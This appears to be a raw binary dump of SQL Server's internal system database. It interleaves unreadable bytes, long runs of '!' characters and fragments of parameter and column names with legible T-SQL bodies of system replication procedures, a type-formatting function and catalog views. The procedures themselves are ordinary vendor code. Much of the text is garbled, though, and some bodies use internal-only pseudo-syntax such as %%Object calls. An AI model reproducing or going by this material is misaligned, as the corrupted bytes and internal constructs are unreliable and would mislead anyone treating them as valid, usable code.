g@use_interactive_resolver0-88
Q@failover_mode0-hhO@use_web_sync0-G@hostname0-hhG@is_biton-0-G@inputcmd0-C@dbname0-A@owner0-E@objname0-'I@publisher0-'A@owner0-'I@tablename0-'88
G@table_id0-'hhU@OptimizeTrigger0-'hhW@RecreateTriggers0-'hhA@XCALL0-'O@article_view0-'	E@columns0-'
W@publishedcolumns0-'88
I@repl_freq0-'ccQ@filter_clause0-'
==_@distributortimestamp0-'88
M@instance_id0-/88
K@request_id0-/K@originator0-/Q@originator_db0-/c@originator_publication0-C@folder0-[F@I@lockowner!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!/H/{"lQ
h


Sdr1v
o
$
		;	8?jo&7|<[E:9CR
}&A`]-k
)4\)\V
0-k88
Kdatabase_id0-k88
Icatalog_id0-k88
Etable_id0-kQmemory_address0-k88
Spopulation_type0-kkpopulation_type_description0-khhcis_clustered_index_scan0-k88
Krange_count0-k	88
_completed_range_count0-k
88
coutstanding_batch_count!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O`e-C)6^O!ѥV
0-88
A@artid0-I@publisher0-S@publisher_type0-uU@constraint_name0-uY@constraint_schema0-uY@constraint_schema0-\88
I@src_objid0-\88
A@artid0-\hhQ@artcolcounter0-\88
M@param_count0-$$A@pubid0-88
S@join_filter_id0-hhI@dri_based0-hhe@unique_constraint_based_id0-g*	Wclient_process_id0-g*
ahandle_context_address0-g*gfilestream_transaction_id0-TM@publication0-TE@article0-T<M@update_mode0-TI@publisher0-TS@publisher_type0-TY@nvarcharmaxscript0-@g@@Irequest_id0-@g@@Isession_id0-@g@@Astatus0-@g==Ksubmit_time0-@g==Istart_time0-@g==Uend_compile_time0-@g==Eend_time0-@g88
Ytotal_elapsed_time0-@g	?label0-@g
HHEerror_id0-@g88
Kdatabase_id0-@g@@Ccommand0-I@publisher0-88
g@publisher_engine_edition0-镧M@publication0-镧I@publisher0-ʎM@publication0-ʎE@article0-ʎK@subscriber0-ʎS@destination_db0-ʎI@sync_type0-ʎC@status0-ʎY@subscription_type0-ʎ<M@update_mode0-ʎ	
[@loopback_detection0-ʎ
88
S@frequency_type0-ʎ88
[@frequency_interval0-ʎ88
m@frequency_relative_interval0-ʎ
88
m@frequency_recurrence_factor0-ʎ88
W@frequency_subday0-ʎ88
i@frequency_subday_interval0-ʎ88
g@active_start_time_of_day0-ʎ88
c@active_end_time_of_day0-ʎ88
Y@active_start_date0-ʎ88
U@active_end_date0-ʎ@a@optional_command_line0-ʎG@reserved0-ʎ
]@enabled_for_syncmgr0-ʎW@dts_package_name0-ʎ_@dts_package_password0-ʎ_@dts_package_location0-ʎa@distribution_job_name0-ʎI@publisher0-ʎS@publisher_type0-ʎ00]@subscriptionstreams0-ʎ00U@subscriber_type0-ʎ88
A@pubid0-ʎ hhO@non_sql_flag0-ʎ!U@publisher_local0-ʎ"hhS@immediate_sync0-ʎ#44A@srvid0-ʎ$hh_@independent_agent_id0-ʎ%88
e@dts_package_location_id0-ʎ&hh_@immediate_sync_ready0-ʎ'00M@sync_method0-ʎ(88
_@subscription_type_id0-ʎ)00I@pubstatus0-ʎ*hhU@allow_anonymous0-ʎ+00S@update_mode_id0-ҧM@publication0-ҧE@article0-ҧG@procname0-ҧ88
O@source_objid0-ҧ88
A@artid0-ҧhhA@alter0-IɠE@tran_id0-IɠC@row_id0-IɠS@conflict_table0-4
@qualified_procedure_execution_object_name0-4hhi@is_repl_serializable_only0-\88
I@src_objid0-\88
A@artid0-\hhQ@artcolcounter0-\88
M@param_count0-$$A@pubid[^Cl'n
aAD=Il`=-OS)H_IfST0-VQDOMAIN_CATALOG0-VODOMAIN_SCHEMA0-VKDOMAIN_NAME0-VOTABLE_CATALOG0-VMTABLE_SCHEMA0-VITABLE_NAME0-VKCOLUMN_NAME0-2`88
Eaudit_id0-2`4=name0-2`$$Iaudit_guid0-2`==Kcreate_date0-2`==Kmodify_date0-2`88
Mprincipal_id0-2`=type0-2`xxGtype_desc0-2`	00Ion_failure0-2`
xxSon_failure_desc0-2`hhUis_state_enabled0-2`88
Kqueue_delay0-2`
88
Astatus0-2`ppGpredicate0-a44Strace_column_id0-ax4xMpackage_name0-ax4xQxe_action_name0-[5a]waiting_task_address0-[5a44Isession_id0-[5a88
Sexec_context_id0-[5aUwait_duration_ms0-[5ax4xGwait_type0-[5aUresource_address0-[5a_blocking_task_address0-[5a44[blocking_session_id0-[5a	88
eblocking_exec_context_id0-[5a
4]resource_description0-[5a88
Kpdw_node_id0-pKentity_name0-pQsubentity_name0-pxxSpermission_name0-pC@entity0-pxA@class0-ڤwO@source_table0-ڤwM@table_owner-N0-NE@command0-NI@parameter0-NG@argument0-Ocache_address0-4=name0-x4x=type0-Oentry_address0-Yentry_data_address0-88
Min_use_count0-hhEis_dirty0-88
Qdisk_ios_count0-	88
acontext_switches_count0-
88
Ooriginal_cost0-88
Mcurrent_cost0-_memory_object_address0-
Epages_kb0-4Ientry_data0-88
Cpool_id0->>5Utime_to_generate0-Guse_count0->>5gaverage_time_between_uses0->>5[time_since_last_use0->>5]probability_of_reuse0->>5?value0-+88
g@subscriber_security_mode0-+W@subscriber_login0-+]@subscriber_password0-+88
i@distributor_security_mode0-+Y@distributor_login0-+_@distributor_password0-+I@job_login0-+O@job_password0-U@assembly_schema0-88
M@assembly_id0-_88
K@agent_type0-_88
K@profile_id0-,^M@publication0-,^E@article0-,^K@subscriber0-,^S@destination_db0-,^<M@update_mode0-,^
U@subscriptionlsn0-,^88
I@lsnsource0-,^I@publisher0-,^	S@publisher_type0-?ZM@publication0-?Z@C@action0-?Z88
Q@originator_id0-?Z88
[@conflict_retention0-?Z
]@continue_onconflict0-?Z
A@local0-?Z88
E@timeout0-9hhQ@frompublisher0-XgM@publication0-Xgg@dynamic_snapshot_jobname0-Xg$$c@dynamic_snapshot_jobid0-Xghh[@ignore_distributorw('a
#dEfy,|+@w(

S
"
E^
k

	L	[bq*If)F{d,A0K`!<`&[10@ 8create procedure sys.sp_MSrepl_helpsubscriberinfo
(
	@subscriber sysname = '%',
	@publisher	sysname,
	@found		bit = NULL OUTPUT
)
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @distributor sysname
    DECLARE @distribdb sysname
    DECLARE @distproc nvarchar (300)
    DECLARE @retcode int
    DECLARE @subscriber_bit smallint
    DECLARE @show_password bit

    /*
    ** Security Check. Restrict to 'sysadmin', DBO of publishing database, PAL
    */
    IF is_member(N'db_owner') <> 1
    BEGIN
        EXEC @retcode = sys.sp_MSreplcheck_pull @publisher   = @publisher

        IF @retcode <> 0 OR @@ERROR <> 0
        BEGIN
            RETURN (1)
        END
    END

    /*
    ** Initializations.
    */
    SELECT @subscriber_bit = 4


    /*
    ** Check if subscriber is valid
    */

    IF @subscriber IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@subscriber', 'sp_MSrepl_helpsubscriberinfo')
		RETURN (1)
	END

	/*
    ** Get distribution server information for remote RPC
    ** subscription calls.
    */

    EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher	= @publisher,
														@rpcsrvname	= @distributor OUTPUT,
														@distribdb	= @distribdb OUTPUT

    /* RAISEERROR is subscriber is not '%' */                                               
    IF @@error <> 0 OR @retcode <> 0 OR @distribdb IS NULL OR @distributor IS NULL
	BEGIN
		IF @subscriber <> '%'
		BEGIN
			RAISERROR (14071, 16, -1)
			RETURN (1)
		END
		ELSE
		BEGIN
			RETURN 0
		END
	END

     create table #subscriber_info
     (
        publisher						sysname collate database_default not null,
        subscriber						sysname collate database_default not null,
        type							tinyint not null,           /* 0: MS SQL Server 1: ODBC Data Source */
        login							sysname collate database_default null, 
        password						nvarchar(524) NULL,
        commit_batch_size				int not null,  -- commit_batch_size, no longer supported
        status_batch_size				int not null,  -- status_batch_size, no longer supported
        flush_frequency					int not null,  -- flush_frequency, no longer supported
        frequency_type					int not null,
        frequency_interval				int not null,
        frequency_relative_interval 	int not null,
        frequency_recurrence_factor 	int not null,
        frequency_subday				int not null,
        frequency_subday_interval		int not null,
        active_start_time_of_day		int not null,
        active_end_time_of_day			int not null,
        active_start_date				int not null,
        active_end_date					int not null,
        retryattempt					int not null, -- retryattempt, no longer exist
        retrydelay						int not null, -- retrydelay, no longer exist
        description						nvarchar(255) collate database_default null,
        security_mode					int not null,
        frequency_type2					int not null,
        frequency_interval2				int not null,
        frequency_relative_interval2	int not null,
        frequency_recurrence_factor2	int not null,
        frequency_subday2				int not null,
        frequency_subday_interval2		int not null,
        active_start_time_of_day2		int not null,
        active_end_time_of_day2			int not null,
        active_start_date2				int not null,
        active_end_date2				int not null
    )

    IF @@error <> 0
        RETURN (1)
     
    /*
    ** Retrieve MSsubscriber_info
    */
    if is_srvrolemember('sysadmin') = 1
        select @show_password = 1
    else
        select @show_password = 0

    SELECT @distproc =	QUOTENAME(RTRIM(@distributor)) + '.' +
						QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MShelp_subscriber_info'

    insert into #subscriber_info
    EXEC @retcode =	@distproc	@publisher		= @publisher, 
								@subscriber		= @subscriber,
								@show_password	= @show_password

    IF @@error <> 0
        BEGIN
        RAISERROR (14071, 16, -1)
        RETURN (1)
    END

    IF @retcode <> 0
        BEGIN
        RAISERROR (14085, 16, -1)
        RETURN (1)
     END
	
	-- Filter out subscribers that are not defined locally but left at the distributor
	-- This will happen if the publisher is cleaned up when the distributor is offline.
	DELETE FROM	#subscriber_info
	WHERE	UPPER(subscriber collate database_default) IN 
			(
				SELECT	UPPER(servers.srvname COLLATE database_default)
				FROM	master.dbo.sysservers servers
				WHERE	(servers.srvstatus & @subscriber_bit) = 0
			)

	-- Set found bit if requested
	IF @found IS NOT NULL
	BEGIN
		SELECT	@found = COUNT(*)
		FROM	#subscriber_info
	END
	ELSE
	BEGIN
		SELECT	*
		FROM	#subscriber_info
	END
END
06 8create procedure sys.sp_MSprep_exclusive 
	@objname sysname
	,@objid int = NULL
as
    set nocount on
    declare @retcode int
    			,@tran_pubname sysname

    EXEC @retcode = sys.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    if @objname is NULL
    begin
        RAISERROR (14043, 16, -1, '@objname', 'sp_MSprep_exclusive')
        return (1)
    end

	if(@objid is NULL)
	begin
	    select @objid = object_id(@objname)
	    if @objid is NULL
	    begin
	        raiserror(14027, 16, -1, @objname)
	        return (1)
	    end

	    exec sys.sp_replupdateschema @objname
	    if @@ERROR<>0
	        return (1)
    end

    declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
            select p.name from sysarticles a join 
            									syspublications p on p.pubid = a.pubid
            						where a.objid=@objid
    open #trancolumn
    fetch #trancolumn into @tran_pubname
    while (@@fetch_status <> -1)
    BEGIN
        EXEC @retcode = sys.sp_getapplock   @Resource = @tran_pubname, 
                        @LockMode = N'Exclusive', 
                        @LockOwner = N'Transaction', 
                        @LockTimeout = 0,
                        @DbPrincipal = N'db_owner' -- Note that we already require db_owner due to security check at the beginning of the stored procedure.
        if @retcode = -1
        begin 
            raiserror(21386, 16, -1, @objname)
            goto FAILURE    
        end 
        if @@ERROR<>0 or @retcode < 0
            goto FAILURE
        fetch #trancolumn into @tran_pubname            
    END
    close #trancolumn
    deallocate #trancolumn
    return 0
FAILURE:
    return (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`m<a d0#@ 8create procedure sys.sp_MSreset_synctran_bit (
    @owner          sysname,
    @table          sysname
)AS
    declare @qualified_name nvarchar(300)
    declare @tabid    int
    declare @retcode int

    -- Security check
    exec @retcode = sys.sp_MSreplcheck_subscribe    
    if @retcode<>0 or @@error<>0
        return 1

    if @owner = N''
        select @qualified_name = @table
    else
        select @qualified_name = quotename(@owner) + '.' + quotename(@table) 

    BEGIN TRANSACTION
    -- Unmark synctran bit
    select @tabid = object_id(@qualified_name)
    if not (@tabid is null)
    begin
        EXEC %%Object(MultiName = @qualified_name).LockMatchID(ID = @tabid, Exclusive = 1, BindInternal = 0)
        --EXEC %%Object(MultiName = @qualified_name).LockExclusiveMatchID(ID = @tabid)
        if @@error = 0
            EXEC %%Relation(ID = @tabid).SetSyncTranSubscribe(Value = 0)
    end
    COMMIT TRANSACTION
    return(0)
0B) 8
create procedure sys.sp_statistics_rowset2
(
    @table_schema   sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        TABLE_CATALOG = db_name(),
        TABLE_SCHEMA = schema_name(o.schema_id),
        TABLE_NAME = o.name,
        CARDINALITY =   convert (int,
                                (-- Multiple partitions could correspond to one index.
                                    select sum(rows) from sys.partitions s_p
                                    where x.object_id = s_p.object_id and x.index_id = s_p.index_id
                                )
                                )
    from
        sys.all_objects o,
        sys.indexes x
    where
        (@table_schema is null or schema_id(@table_schema) = o.schema_id) and
        o.type in ('U') and
        x.object_id = o.object_id and
        x.index_id in (0,1) -- If there are no indexes then table stats are in a row with indid =0
    order by 2, 3
0[:@ 8create procedure sys.sp_user_counter2 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 2', @newvalue)
0> 
8
--
-- Name:
--		fn_MSrepl_sourcetype
--
-- Description:
--		Formatted data type string
--
-- Inputs:
--		@type			data type
--		@length_min		minimum length
--		@length_max		maximum length
--		@precision_min	minimum precision
--		@precision_max	maximum precision
--		@scale_min		minimum scale
--		@scale_max		maximum scale
--
-- Returns:
--		CREATE TABLE - style string for type that displays ranges
--		if min != max
--
-- Security:
--		Internal
--
-- Notes:
--		Used for data type mapping help proc
--

CREATE FUNCTION sys.fn_MSrepl_sourcetype
(
	@type			sysname,
	@length_min		bigint,
	@length_max		bigint,
	@precision_min	bigint,
	@precision_max	bigint,
	@scale_min		int,
	@scale_max		int,
	@createparams	int
)
RETURNS
	nvarchar(1024)
AS
BEGIN
	DECLARE @source_info nvarchar(1024)

	-- Write data type
	SELECT @source_info = @type

	-- Determine if using length or prec/scale
	IF	(@precision_min IS NOT NULL OR
		@precision_max IS NOT NULL OR
		@scale_min IS NOT NULL OR
		@scale_max IS NOT NULL) AND
		((@createparams & 0x1) = 1 OR (@createparams &0x2) = 2)
	BEGIN
		SELECT @source_info = @source_info + '('
		
		IF @precision_min IS NOT NULL OR @precision_max IS NOT NULL
		BEGIN
			IF @precision_max > @precision_min
			BEGIN
				SELECT @source_info = @source_info + '[' + CONVERT(nvarchar(50), @precision_min) + '-' + CONVERT(nvarchar(50), @precision_max) + ']'
			END
			ELSE IF @precision_min IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @precision_min)
			END
			ELSE IF @precision_max IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @precision_max)
			END
		END
		ELSE IF @scale_min IS NOT NULL OR @scale_max IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + 'NULL'
		END

		IF @scale_min IS NOT NULL OR @scale_max IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + ','

			IF @scale_max > @scale_min
			BEGIN
				SELECT @source_info = @source_info + '[' + CONVERT(nvarchar(50), @scale_min) + '-' + CONVERT(nvarchar(50), @scale_max) + ']'
			END
			ELSE IF @scale_min IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @scale_min)
			END
			ELSE IF @scale_max IS NOT NULL
			BEGIN
				SELECT @source_info = @source_info + CONVERT(nvarchar(50), @scale_max)
			END
		END

		SELECT @source_info = @source_info + ')'
	END
	ELSE IF ((@length_min IS NOT NULL AND @length_min > 0) OR
			 (@length_max IS NOT NULL AND @length_max > 0)) AND
			 ((@createparams & 4) = 4)
	BEGIN
		SELECT @source_info = @source_info + '('

		IF @length_max > @length_min
		BEGIN
			SELECT @source_info = @source_info + '[' + CONVERT(nvarchar(50), @length_min) + '-' + CONVERT(nvarchar(50), @length_max) + ']'
		END
		ELSE IF @length_min IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + CONVERT(nvarchar(50), @length_min)
		END
		ELSE IF @length_max IS NOT NULL
		BEGIN
			SELECT @source_info = @source_info + CONVERT(nvarchar(50), @length_max)
		END

		SELECT @source_info = @source_info + ')'
	END
	ELSE IF (@length_min = -1) AND (@length_max = -1)
	BEGIN
		-- Special case - MAX types
		SELECT @source_info = @source_info + N'(max)'
	END

	RETURN @source_info
END
0%2 ;8
create procedure sys.sp_MSmaptype (@type nvarchar(258) output, 
                                @len smallint, 
                                @prec int, 
                                @scale int)
as
    declare @typeout nvarchar(258)

select @typeout = case @type
    when 'binary' then 'varbinary'
    when 'char' then 'varchar'
    when 'nchar' then 'nvarchar'
    when 'datetimn' then 'datetime'
    when 'decimaln' then 'decimal'
    when 'floatn' then 'float'
    when 'intn' then 'int'
    when 'moneyn' then 'money'
    when 'numericn' then 'numeric'
    when 'timestamp' then 'varbinary'
    when 'bit' then 'tinyint'
    else @type  --for user defined data type which may contain space in between
    END

--
-- Quote UDTs.  Systems types are left alone as there are a number of places where we do 
--  text based name comparisons for system types.
--
if exists (select * from sys.types where name = @typeout and is_user_defined = 1)
begin
	select @typeout = quotename(@typeout)
end

-- append length or scale and precision if needed
if (@typeout = 'varbinary' or @typeout = 'varchar' or @typeout = 'nvarchar')
begin
    if @len=0 or @len=-1
        select @type = @typeout + '(max)'
    else
        select @type = @typeout + '(' + rtrim(convert(nchar, @len)) + ')'
    return
end
if (@typeout = 'numeric' or @typeout = 'decimal')
begin
    select @type = @typeout + '(' + rtrim(convert(nchar, @prec)) + ',' + 
            rtrim(convert(nchar, @scale)) + ')'
    return
end

select @type = @typeout
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&	Q`r<b0=0`0H@ ;8
create procedure sys.sp_assembly_dependencies_rowset_rmt
(
    @server                 sysname,
    @catalog                sysname = null,
    @assembly_id            int = null,
    @assembly_schema        sysname = null,
    @assembly_referenced    int = null
)
as
    select
        ASSEMBLY_CATALOG,
        ASSEMBLY_SCHEMA,
        ASSEMBLY_ID,
        REFERENCED_ASSEMBLY_ID
    from
        -- ISSUE - below pseudo-function is not exposed by metadata code!
        sys.fn_remote_assemblydependencies(@server,
                                           @catalog,
                                           @assembly_id,
                                           @assembly_schema,
                                           @assembly_referenced)
    order by 1, 2
0k@ x8CREATE view sys.dm_fts_index_population
AS
	SELECT * FROM OpenRowset(TABLE FTCRAWLS)
05q h8Ybhl>m8^n}ox0{t@ =8
-- add it
create view sys.pdw_loader_run_stages as
select
	run_id,
	stage	collate database_default stage,
	request_id	collate database_default request_id,
	status	collate database_default status,
	start_time,
	end_time,
	total_elapsed_time
from sys._pdw_loader_run_stages
0@{ 38CREATE VIEW INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE
AS
SELECT
	KCU.TABLE_CATALOG,
	KCU.TABLE_SCHEMA,
	KCU.TABLE_NAME,
	KCU.COLUMN_NAME,
	KCU.CONSTRAINT_CATALOG,
	KCU.CONSTRAINT_SCHEMA,
	KCU.CONSTRAINT_NAME
FROM	
	INFORMATION_SCHEMA.KEY_COLUMN_USAGE KCU
UNION ALL
SELECT
	DB_NAME()				AS TABLE_CATALOG,
	SCHEMA_NAME(u.schema_id)		AS TABLE_SCHEMA,
	u.name					AS TABLE_NAME,
	col_name(d.referenced_major_id, d.referenced_minor_id)
						AS COLUMN_NAME,
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(k.schema_id)		AS CONSTRAINT_SCHEMA,
	k.name					AS CONSTRAINT_NAME
FROM	
	sys.check_constraints k JOIN sys.objects u ON u.object_id = k.parent_object_id
	JOIN sys.sql_dependencies d ON d.class = 1
		AND d.object_id = k.object_id
		AND d.column_id = 0
		AND d.referenced_major_id = u.object_id
WHERE u.type <> 'TF' -- skip constraints in TVFs.
UNION ALL
SELECT
	DB_NAME()				AS TABLE_CATALOG,
	SCHEMA_NAME(t.schema_id)		AS TABLE_SCHEMA,
	t.name					AS TABLE_NAME,
	col_name(f.object_id, f.column_id)	AS COLUMN_NAME,
	DB_NAME()				AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(r.schema_id)		AS CONSTRAINT_SCHEMA,
	r.name					AS CONSTRAINT_NAME
FROM
	sys.objects t JOIN sys.columns f ON f.object_id = t.object_id
	JOIN sys.objects r ON r.object_id = f.rule_object_id
0Y@ [8create procedure sys.sp_changesubscriber
(
	@subscriber						sysname,
	@type							tinyint = NULL,
	@login							sysname = NULL,
	@password						sysname = '%',
	@commit_batch_size				int = NULL,
	@status_batch_size				int = NULL,
	@flush_frequency				int = NULL,
	@frequency_type					int = NULL,
	@frequency_interval				int = NULL,
	@frequency_relative_interval	int = NULL,
	@frequency_recurrence_factor	int = NULL,
	@frequency_subday				int = NULL,
	@frequency_subday_interval		int = NULL,
	@active_start_time_of_day		int = NULL,
	@active_end_time_of_day			int = NULL,
	@active_start_date				int = NULL,
	@active_end_date				int = NULL,
	@description					nvarchar (255) = NULL,
	@security_mode					int = NULL,				/* 0 standard; 1 integrated */
	@publisher						sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd            OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_changesubscriber'
	
	EXEC @retcode = @cmd
					@subscriber,
					@type,
					@login,
					@password,
					@commit_batch_size,
					@status_batch_size,
					@flush_frequency,
					@frequency_type,
					@frequency_interval,
					@frequency_relative_interval,
					@frequency_recurrence_factor,
					@frequency_subday,
					@frequency_subday_interval,
					@active_start_time_of_day,
					@active_end_time_of_day,
					@active_start_date,
					@active_end_date,
					@description,
					@security_mode,
					@publisher,
					@publisher_type

	RETURN (@retcode)
